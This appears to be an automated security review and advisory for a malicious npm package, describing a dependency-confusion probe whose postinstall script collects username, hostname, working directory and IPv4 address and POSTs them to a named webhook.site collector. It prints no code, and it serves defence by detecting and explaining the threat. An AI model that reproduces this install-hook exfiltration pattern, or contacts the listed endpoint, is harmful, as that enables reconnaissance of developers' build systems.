titan-exchange-shared-permissions@99.9.9

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The postinstall entrypoint contains a host-fingerprinting exfiltration attempt, but the supplied JavaScript is syntactically invalid and cannot run. It is an inert staged payload carrier rather than a functioning install-time attack.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall invokes node index.js

Impact

If repaired, it would disclose local user, host, path, and IPv4 metadata; as shipped it fails at parse time.

Mechanism

attempted host fingerprint collection and HTTPS webhook exfiltration

Rationale

The lifecycle hook and exfiltration intent are suspicious, but the only payload is non-executable due to clear syntax errors. Treat it as an inert payload carrier and warn rather than block.

Summary

Malicious code in titan-exchange-shared-permissions (npm)

Details

titan-exchange-shared-permissions@99.9.9 is a dependency-confusion reconnaissance package. package.json declares a postinstall script (`node index.js`) that runs automatically on `npm install`; index.js collects the installer's OS username (os.userInfo().username), hostname (os.hostname()), current working directory, and non-internal IPv4 address (from os.networkInterfaces()) and POSTs them as JSON via https.request to the hardcoded collector https://webhook.site/452b7e38-183d-4652-847d-0f2fa05b9389. The package name is styled to resemble a private internal scope, is published at version 99.9.9, and ships with empty description/author/license and no other functionality — the canonical namesquat/dependency-confusion probe shape used to identify build systems that resolve a private name to the public registry.
